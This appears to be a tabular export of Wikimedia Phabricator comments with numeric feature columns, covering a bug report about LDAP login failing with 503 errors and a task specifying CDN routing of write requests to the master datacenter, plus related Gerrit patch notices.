Was getting this last week as well (didn't try again until today). Login via OAuth works. "
540556,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"Still reproducible by me. Can someone check if there's something weird about the way my LDAP account is(n't) set up?

```

Request: POST http://phabricator.wikimedia.org/auth/login/ldap:self/, from 10.64.32.133 via cp1056 cp1056 ([10.64.32.133]:80), Varnish XID 748489956
Forwarded for: [my id], 10.64.32.133
Error: 503, Service Unavailable at Sat, 03 Oct 2015 18:25:54 GMT 
```",,,1443896955,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,3,False,,,13,True,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,3.0,13.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,13.0,7.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.566666666666667,0.9,"Still reproducible by me. Can someone check if there's something weird about the way my LDAP account is(n't) set up?

``CODE``"
431183,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Hmm? This is just from the regular login page accessible from the top right of https://phabricator.wikimedia.org/  . So https.,,,1427141750,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,18.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8636363636363636,Hmm? This is just from the regular login page accessible from the top right of URL  . So https.
431154,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"If I enter ""http://phabricator.wikimedia.org/auth/login/ldap:self/"" I get redirected to https://phabricator.wikimedia.org/auth/login/ldap:self/

@Jarry1250, In which exact URL are you when you trigger this problem? http or https?",,,1427139123,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,7.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,7.0,3.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5517241379310347,0.8275862068965517,"If I enter ""URL I get redirected to URL
SCREEN_NAME, In which exact URL are you when you trigger this problem? http or https?"
431046,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"FWIW I can still reproduce this (just did):


```
Request: POST http://phabricator.wikimedia.org/auth/login/ldap:self/, from 10.64.0.171 via cp1043 cp1043 ([10.64.0.171]:80), Varnish XID 979979380
Forwarded for: [my id], 10.64.0.171
Error: 503, Service Unavailable at Mon, 23 Mar 2015 17:43:05 GMT 
```

503 should never be the right answer...",,,1427132718,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.28,0.88,"FWIW I can still reproduce this (just did):


``CODE``

503 should never be the right answer..."
430950,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,can't repro and no further reports,,,1427128359,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,can't repro and no further reports
423836,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"Is this constantly reproducible?
Just noting that your account does not link to your LDAP account on https://phabricator.wikimedia.org/p/Jarry1250/ (is it listed on https://phabricator.wikimedia.org/settings/panel/external/ ?).
Just wondering which factors could be related to the specific situation in order to reproduce... need somehow conditions to reproduce, hence setting as stalled for the time being.",,,1425997079,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,3.0,2.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,16.0,2.0,3.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.262295081967213,0.7868852459016393,"Is this constantly reproducible?
Just noting that your account does not link to your LDAP account on URL (is it listed on URL ?).
Just wondering which factors could be related to the specific situation in order to reproduce... need somehow conditions to reproduce, hence setting as stalled for the time being."
423173,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"I'm not sure it would be much to look at! The page just hangs for around 30 seconds, then finally displays https://phabricator.wikimedia.org/auth/login/ldap:self/ (not http://) as the URL, but a Wikimedia Error with those details as the body. I'm at work at the moment (so potential interaction with proxies and firewalls and lord knows what else), but my previous problems were at home.",,,1425916540,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-17,True,1.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,11.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,3.0,11.0,0.0,5.0,8.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.684931506849315,0.7534246575342466,"I'm not sure it would be much to look at! The page just hangs for around 30 seconds, then finally displays URL (not URL as the URL, but a Wikimedia Error with those details as the body. I'm at work at the moment (so potential interaction with proxies and firewalls and lord knows what else), but my previous problems were at home."
423170,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Well it shouldn't be using an HTTP url there at all. So that is weird.  We have this happen a few times pre-https-all-phab and I'm not sure how this is happening now.  If you can still reproduce could you screenshot the process?,,,1425916354,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,5.0,0.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,16.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,9.0,4.0,4.0,2.0,0.0,0.0,9.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.3392857142857144,0.8392857142857143,Well it shouldn't be using an HTTP url there at all. So that is weird.  We have this happen a few times pre-https-all-phab and I'm not sure how this is happening now.  If you can still reproduce could you screenshot the process?
423152,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Can reproduce. Might it be something with the way my account is configured? https://phabricator.wikimedia.org/p/Jarry1250/ does not show me as having an associated LDAP User,,,1425915641,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-17,True,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,19.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,8.0,8.0,4.0,0.0,0.0,12.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.115384615384615,1.0,Can reproduce. Might it be something with the way my account is configured? URL does not show me as having an associated LDAP User
423142,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"Nothing with LDAP that I could see.  As far as I know, the only outage this weekend was an issue with the tools proxies for a couple of hours late Sunday but that was unrelated.",,,1425915052,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,5.0,15.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8461538461538461,"Nothing with LDAP that I could see.  As far as I know, the only outage this weekend was an issue with the tools proxies for a couple of hours late Sunday but that was unrelated."
423099,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"hmmm labs may have had an issue but yeah it works for me atm.  @coren, anything in labs over the weekend that would have affected ldap weirdly?",,,1425909781,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,7.0,10.0,7.0,3.0,0.0,0.0,7.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,4.033333333333333,0.9333333333333333,"hmmm labs may have had an issue but yeah it works for me atm. SCREEN_NAME, anything in labs over the weekend that would have affected ldap weirdly?"
423095,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,I could login via LDAP right now.,,,1425908945,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,I could login via LDAP right now.
423065,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Also mentioned in T91944,,,1425902463,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Also mentioned in T91944
91820,Create HTTP verb and sticky cookie DC routing in VCL ,"CDN routing logic should be:

# If HTTP POST => master DC.
** Reason: This will perform writes to the primary database which should be done locally.
# If cookie ""UseDC=master"" is present => master DC.
** Reason: The user has recently made writes (database, session). To ensure the user sees their own actions reflected, and to minimise chances of needing to do synchronous waits, the user is ""stickied"" to the primary DC for a few seconds until we're confident cross-dc DB and session replication has completed.
** This also ensures we don't need a multi-dc aware ChronologyProtector, per T254634.
# If URL param ""cpPosIndex="" is present => master DC.
** Reason: The user has recently made writes (database, session) and is now being redirected to a cross-wiki domain. To ensure the user sees their own actions reflected, and to minimise chances of needing to do synchronous waits, the user is ""stickied"" to the primary DC for a few seconds until we're confident cross-dc DB and session replication has completed.
** This also ensures we don't need a multi-dc aware ChronologyProtector, per T254634.
# Requests that perform database writes over GET (like HTTP POST)
** GET index.php action=rollback => master DC (per T88044).
*** Reason: This is a user action that for legacy reason cannot yet use form submissions.
** GET login.wikimedia.org Special:CentralAutoLogin => master DC.
*** Reason: This auto-creates local accounts and cross-domain login sessions through a chain of redirects and hence can't use POST. In addition to sometimes performing db writes, it also needs access to the latest user sessions and ChronologyProtector, per T254634#6211514. Note that the `Special:CentralAutoLogin` url is never localised to make this easy.
# Cache/stash write optimisations => master DC
** GET/POST api.php action=centralauthtoken or centralauthtoken=, or an Authorization header which starts with CentralAuthToken (T267270)
*** Reason: Foreign API tokens need to be set and then immediately consumed. Latency will probably be reduced by routing these requests at the CDN layer rather using mcrouter to do cross-DC memcached requests.
# Anything else, e.g. HTTP GET/HEAD/OPTION  => local DC.
# HTTP POST with `Promise-Non-Write-API-Action: true` header => local DC (exception to rule 1).
** Reason: These are AJAX POST requests that only fetch data. They use POST due to the limited payload size that GET requests allow.


See also:
* <https://www.mediawiki.org/wiki/Requests_for_comment/Master_%26_slave_datacenter_strategy_for_MediaWiki#Request_routing>",Medium,50.0,1425678338,1657069059.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-h7dedcskmzkrx2xygdq7,task_description,resolved,True,c3,1,True,False,False,-17,True,0.3333333333333333,0.16666666666666666,0.0,0.8333333333333334,0.6666666666666666,8.166666666666666,0.6666666666666666,0.0,0.0,0.5,0.5,0.8333333333333334,0.0,0.16666666666666666,0.0,0.6666666666666666,0.16666666666666666,4.0,7.333333333333333,0.16666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.0,5.0,3.0,0.16666666666666666,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.6666666666666666,3.0,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.16666666666666666,0.3333333333333333,15.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.8333333333333334,0.0,0.6666666666666666,1.5,0.0,0.8333333333333334,0.3333333333333333,0.5,0.16666666666666666,3.5,2.1666666666666665,14.166666666666666,0.8333333333333334,1.8333333333333333,5.166666666666667,0.0,0.0,0.0,1.1666666666666667,3.8333333333333335,0.0,0.5,0.0,1.3333333333333333,7.333333333333333,7.666666666666667,0.0,1.3333333333333333,0.0,1.3333333333333333,0.0,0.8333333333333334,1.3333333333333333,0.0,0.8333333333333334,0.0,0.16666666666666666,1.5,3.808541879468846,0.7194841675178753,"CDN routing logic should be:

# If HTTP POST => master DC.
** Reason: This will perform writes to the primary database which should be done locally.
# If cookie ""UseDC=master"" is present => master DC.
** Reason: The user has recently made writes (database, session). To ensure the user sees their own actions reflected, and to minimise chances of needing to do synchronous waits, the user is ""stickied"" to the primary DC for a few seconds until we're confident cross-dc DB and session replication has completed.
** This also ensures we don't need a multi-dc aware ChronologyProtector, per T254634.
# If URL param ""cpPosIndex="" is present => master DC.
** Reason: The user has recently made writes (database, session) and is now being redirected to a cross-wiki domain. To ensure the user sees their own actions reflected, and to minimise chances of needing to do synchronous waits, the user is ""stickied"" to the primary DC for a few seconds until we're confident cross-dc DB and session replication has completed.
** This also ensures we don't need a multi-dc aware ChronologyProtector, per T254634.
# Requests that perform database writes over GET (like HTTP POST)
** GET index.php action=rollback => master DC (per T88044).
*** Reason: This is a user action that for legacy reason cannot yet use form submissions.
** GET login.wikimedia.org Special:CentralAutoLogin => master DC.
*** Reason: This auto-creates local accounts and cross-domain login sessions through a chain of redirects and hence can't use POST. In addition to sometimes performing db writes, it also needs access to the latest user sessions and ChronologyProtector, per T254634#6211514. Note that the CODE url is never localised to make this easy.
# Cache/stash write optimisations => master DC
** GET/POST api.php action=centralauthtoken or centralauthtoken=, or an Authorization header which starts with CentralAuthToken (T267270)
*** Reason: Foreign API tokens need to be set and then immediately consumed. Latency will probably be reduced by routing these requests at the CDN layer rather using mcrouter to do cross-DC memcached requests.
# Anything else, e.g. HTTP GET/HEAD/OPTION  => local DC.
# HTTP POST with CODE header => local DC (exception to rule 1).
** Reason: These are AJAX POST requests that only fetch data. They use POST due to the limited payload size that GET requests allow.


See also:
* <URL"
1944427,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 801621 **merged** by Tim Starling:
%%%[operations/puppet@production] Implement MediaWiki multi-DC traffic component%%%
https://gerrit.wikimedia.org/r/801621",,,1657000327,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,365,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.344827586206897,0.7931034482758621,"Change 801621 **merged** by Tim Starling:
%%%[operations/puppet@production] Implement MediaWiki multi-DC traffic component%%%
GERRIT_URL"
1925504,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 801621 had a related patch set uploaded (by Tim Starling; author: Tim Starling):
%%%[operations/puppet@production] [WIP] Implement MediaWiki multi-DC traffic component%%%
https://gerrit.wikimedia.org/r/801621",,,1653979585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,360,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,4.333333333333333,0.8205128205128205,"Change 801621 had a related patch set uploaded (by Tim Starling; author: Tim Starling):
%%%[operations/puppet@production] [WIP] Implement MediaWiki multi-DC traffic component%%%
GERRIT_URL"
1797581,Create HTTP verb and sticky cookie DC routing in VCL ,"The swap of #Traffic for #Traffic-Icebox in this ticket's set of tags was based on a bulk action for all tickets that aren't are neither part of our current planned work nor clearly a recent, higher-priority emergent issue. This is simply one step in a larger task cleanup effort. Further triage of these tickets (and especially, organizing future potential project ideas from them into a new medium) will occur afterwards! For more detail, have a look at the extended explanation on the main page of Traffic-Icebox . Thank you!",,,1633723502,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,327,True,0.5,0.0,0.0,0.5,0.5,10.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,1.0,4.0,10.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,15.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.0,2.0,7.0,0.0,1.5,8.5,0.0,0.0,2.0,1.0,1.0,0.0,0.5,0.0,2.5,10.5,3.0,0.0,0.0,0.0,2.5,0.0,0.5,4.0,1.0,1.0,2.5,0.0,0.0,4.074074074074074,0.8518518518518519,"The swap of #Traffic for #Traffic-Icebox in this ticket's set of tags was based on a bulk action for all tickets that aren't are neither part of our current planned work nor clearly a recent, higher-priority emergent issue. This is simply one step in a larger task cleanup effort. Further triage of these tickets (and especially, organizing future potential project ideas from them into a new medium) will occur afterwards! For more detail, have a look at the extended explanation on the main page of Traffic-Icebox . Thank you!"
1666084,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661936 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@REL1_35] Rename magic header to be consistent with WMF CDN infrastructure

https://gerrit.wikimedia.org/r/661936",,,1613500159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,293,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.59375,0.875,"Change 661936 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@REL1_35] Rename magic header to be consistent with WMF CDN infrastructure

GERRIT_URL"
1666047,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661934 **merged** by jenkins-bot:
[mediawiki/core@REL1_35] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

https://gerrit.wikimedia.org/r/661934",,,1613498135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,293,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,4.090909090909091,0.8787878787878788,"Change 661934 **merged** by jenkins-bot:
[mediawiki/core@REL1_35] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

GERRIT_URL"
1659801,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661936 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@REL1_35] Rename magic header to be consistent with WMF CDN infrastructure

